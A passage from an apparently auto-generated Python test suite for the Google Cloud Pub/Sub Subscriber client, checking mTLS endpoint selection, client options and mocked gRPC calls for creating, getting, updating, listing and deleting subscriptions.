# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", and client_cert_source is provided.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=client_cert_source_callback,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", and default_client_cert_source is provided.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", but client_cert_source and default_client_cert_source are None.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class()
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id="octopus",
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(SubscriberClient, transports.SubscriberGrpcTransport, "grpc"),
(
SubscriberAsyncClient,
transports.SubscriberGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_subscriber_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(scopes=["1", "2"],)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(SubscriberClient, transports.SubscriberGrpcTransport, "grpc"),
(
SubscriberAsyncClient,
transports.SubscriberGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_subscriber_client_client_options_credentials_file(
client_class, transport_class, transport_name
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
def test_subscriber_client_client_options_from_dict():
with mock.patch(
"google.pubsub_v1.services.subscriber.transports.SubscriberGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = SubscriberClient(client_options={"api_endpoint": "squid.clam.whelk"})
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
api_mtls_endpoint="squid.clam.whelk",
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
def test_create_subscription(transport: str = "grpc", request_type=pubsub.Subscription):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.create_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
response = client.create_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.Subscription()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_create_subscription_from_dict():
test_create_subscription(request_type=dict)
@pytest.mark.asyncio
async def test_create_subscription_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.Subscription()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
)
response = await client.create_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_create_subscription_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.Subscription()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.create_subscription), "__call__"
) as call:
call.return_value = pubsub.Subscription()
client.create_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_subscription_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.Subscription()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_subscription), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription())
await client.create_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_create_subscription_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.create_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_subscription(
name="name_value",
topic="topic_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
ack_deadline_seconds=2066,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
assert args[0].topic == "topic_value"
assert args[0].push_config == pubsub.PushConfig(
push_endpoint="push_endpoint_value"
)
assert args[0].ack_deadline_seconds == 2066
def test_create_subscription_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_subscription(
pubsub.Subscription(),
name="name_value",
topic="topic_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
ack_deadline_seconds=2066,
)
@pytest.mark.asyncio
async def test_create_subscription_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_subscription(
name="name_value",
topic="topic_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
ack_deadline_seconds=2066,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
assert args[0].topic == "topic_value"
assert args[0].push_config == pubsub.PushConfig(
push_endpoint="push_endpoint_value"
)
assert args[0].ack_deadline_seconds == 2066
@pytest.mark.asyncio
async def test_create_subscription_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_subscription(
pubsub.Subscription(),
name="name_value",
topic="topic_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
ack_deadline_seconds=2066,
)
def test_get_subscription(
transport: str = "grpc", request_type=pubsub.GetSubscriptionRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.get_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
response = client.get_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.GetSubscriptionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_get_subscription_from_dict():
test_get_subscription(request_type=dict)
@pytest.mark.asyncio
async def test_get_subscription_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.GetSubscriptionRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
)
response = await client.get_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_get_subscription_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.GetSubscriptionRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.get_subscription), "__call__"
) as call:
call.return_value = pubsub.Subscription()
client.get_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_get_subscription_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.GetSubscriptionRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_subscription), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription())
await client.get_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_get_subscription_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.get_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_subscription(subscription="subscription_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
def test_get_subscription_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_subscription(
pubsub.GetSubscriptionRequest(), subscription="subscription_value",
)
@pytest.mark.asyncio
async def test_get_subscription_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_subscription(subscription="subscription_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
@pytest.mark.asyncio
async def test_get_subscription_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_subscription(
pubsub.GetSubscriptionRequest(), subscription="subscription_value",
)
def test_update_subscription(
transport: str = "grpc", request_type=pubsub.UpdateSubscriptionRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.update_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
response = client.update_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.UpdateSubscriptionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_update_subscription_from_dict():
test_update_subscription(request_type=dict)
@pytest.mark.asyncio
async def test_update_subscription_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.UpdateSubscriptionRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Subscription(
name="name_value",
topic="topic_value",
ack_deadline_seconds=2066,
retain_acked_messages=True,
enable_message_ordering=True,
filter="filter_value",
detached=True,
)
)
response = await client.update_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Subscription)
assert response.name == "name_value"
assert response.topic == "topic_value"
assert response.ack_deadline_seconds == 2066
assert response.retain_acked_messages is True
assert response.enable_message_ordering is True
assert response.filter == "filter_value"
assert response.detached is True
def test_update_subscription_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.UpdateSubscriptionRequest()
request.subscription.name = "subscription.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.update_subscription), "__call__"
) as call:
call.return_value = pubsub.Subscription()
client.update_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"subscription.name=subscription.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_subscription_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.UpdateSubscriptionRequest()
request.subscription.name = "subscription.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_subscription), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription())
await client.update_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"subscription.name=subscription.name/value",
) in kw["metadata"]
def test_list_subscriptions(
transport: str = "grpc", request_type=pubsub.ListSubscriptionsRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.list_subscriptions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSubscriptionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_subscriptions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.ListSubscriptionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSubscriptionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_subscriptions_from_dict():
test_list_subscriptions(request_type=dict)
@pytest.mark.asyncio
async def test_list_subscriptions_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.ListSubscriptionsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_subscriptions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSubscriptionsResponse(next_page_token="next_page_token_value",)
)
response = await client.list_subscriptions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSubscriptionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
def test_list_subscriptions_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ListSubscriptionsRequest()
request.project = "project/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.list_subscriptions), "__call__"
) as call:
call.return_value = pubsub.ListSubscriptionsResponse()
client.list_subscriptions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "project=project/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_subscriptions_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ListSubscriptionsRequest()
request.project = "project/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_subscriptions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSubscriptionsResponse()
)
await client.list_subscriptions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "project=project/value",) in kw["metadata"]
def test_list_subscriptions_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.list_subscriptions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSubscriptionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_subscriptions(project="project_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].project == "project_value"
def test_list_subscriptions_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_subscriptions(
pubsub.ListSubscriptionsRequest(), project="project_value",
)
@pytest.mark.asyncio
async def test_list_subscriptions_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_subscriptions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSubscriptionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSubscriptionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_subscriptions(project="project_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].project == "project_value"
@pytest.mark.asyncio
async def test_list_subscriptions_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_subscriptions(
pubsub.ListSubscriptionsRequest(), project="project_value",
)
def test_list_subscriptions_pager():
client = SubscriberClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.list_subscriptions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSubscriptionsResponse(
subscriptions=[
pubsub.Subscription(),
pubsub.Subscription(),
pubsub.Subscription(),
],
next_page_token="abc",
),
pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(),], next_page_token="ghi",
),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(), pubsub.Subscription(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("project", ""),)),
)
pager = client.list_subscriptions(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, pubsub.Subscription) for i in results)
def test_list_subscriptions_pages():
client = SubscriberClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.list_subscriptions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSubscriptionsResponse(
subscriptions=[
pubsub.Subscription(),
pubsub.Subscription(),
pubsub.Subscription(),
],
next_page_token="abc",
),
pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(),], next_page_token="ghi",
),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(), pubsub.Subscription(),],
),
RuntimeError,
)
pages = list(client.list_subscriptions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_subscriptions_async_pager():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_subscriptions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSubscriptionsResponse(
subscriptions=[
pubsub.Subscription(),
pubsub.Subscription(),
pubsub.Subscription(),
],
next_page_token="abc",
),
pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(),], next_page_token="ghi",
),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(), pubsub.Subscription(),],
),
RuntimeError,
)
async_pager = await client.list_subscriptions(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, pubsub.Subscription) for i in responses)
@pytest.mark.asyncio
async def test_list_subscriptions_async_pages():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_subscriptions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSubscriptionsResponse(
subscriptions=[
pubsub.Subscription(),
pubsub.Subscription(),
pubsub.Subscription(),
],
next_page_token="abc",
),
pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(),], next_page_token="ghi",
),
pubsub.ListSubscriptionsResponse(
subscriptions=[pubsub.Subscription(), pubsub.Subscription(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_subscriptions(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_delete_subscription(
transport: str = "grpc", request_type=pubsub.DeleteSubscriptionRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.delete_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.DeleteSubscriptionRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_subscription_from_dict():
test_delete_subscription(request_type=dict)
@pytest.mark.asyncio
async def test_delete_subscription_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
